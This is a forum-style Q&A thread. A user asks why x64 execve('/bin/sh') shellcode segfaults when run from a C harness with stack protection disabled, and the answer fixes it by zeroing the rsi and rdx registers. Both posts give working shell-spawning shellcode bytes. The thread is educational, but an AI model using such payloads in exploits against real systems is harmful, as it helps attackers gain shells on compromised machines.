I have a x64 processor and I'm looking into shellcode.
I have the following code:
section .text
global _start
_start:
push rax
mov rbx, 0x68732f6e69622f2f
shr rbx, 0x8
push rbx
mov rdi, rsp
;mov rdi, com
mov al, 59
syscall
When compiled with the foolowing command:
nasm -g -f elf64 execve.asm
And linked with:
ld execve.o -o execve
It runs fine. It opens a shell. If i get the shellcode from it:
"\x50\x48\xbb\x2f\x2f\x62\x69\x2f\x73\x68\x48\xc1\xeb\x08\x53\x48\x89\xe7\xb0\x3b\x0f\x05"
And use this C program:
int main(void)
{
const char shellcode[] = "\x50\x48\xbb\x2f\x2f\x62\x69\x2f\x73\x68\x48\xc1\xeb\x08\x53\x48\x89\xe7\xb0\x3b\x0f\x05";
(*(void (*)()) shellcode)();
return 0;
} Compile it:
gcc -fno-stack-protector -z execstack -o ex2 ex.c
If run it returns a segmentation fault, but it should execute a shell. Why? Help is appreciated!
Your standalone assembly depends on registers rsi
and rdx
being zeroed.
(As you can see from http://blog.rchapman.org/posts/Linux_System_Call_Table_for_x86_64/
sys_execve
takes three arguments through registers rdi
, rsi
, and rdx
, and Linux will also accept it if rdi
is a correct filename and rsi
and rdx
are zero).
This may be the case when the program starts, but it's not when you run the instructions from within the middle of a program.
Consequently if rsi
, and rdx
have garbage in them, the syscall will fail and the instruction stream
will continue executing the garbage bytes it'll find after the syscall instruction, eventually leading to a crash (this is indeed, what's happening in your case, as you can see if you run the program through gdb
)
The simplest way to make the syscall succeed is by zeroing out 2nd and the third argument:
section .text
global _start
_start:
xor rax, rax
xor rsi, rsi ; zero 2nd argument
xor rdx, rdx ; zero 3rd argument
push rax
mov rbx, 0x68732f6e69622f2f
shr rbx, 0x8
push rbx
mov rdi, rsp
mov al, 59
syscall
Corresponding C code:
int main(void)
{
char shellcode[] =
"\x48\x31\xc0\x48\x31\xd2\x48\x31\xf6\x50\x48\xbb\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x48\xc1\xeb\x08\x53\x48\x89\xe7\xb0\x3b\x0f\x05"
;
((void (*)()) shellcode)();
return 0;
}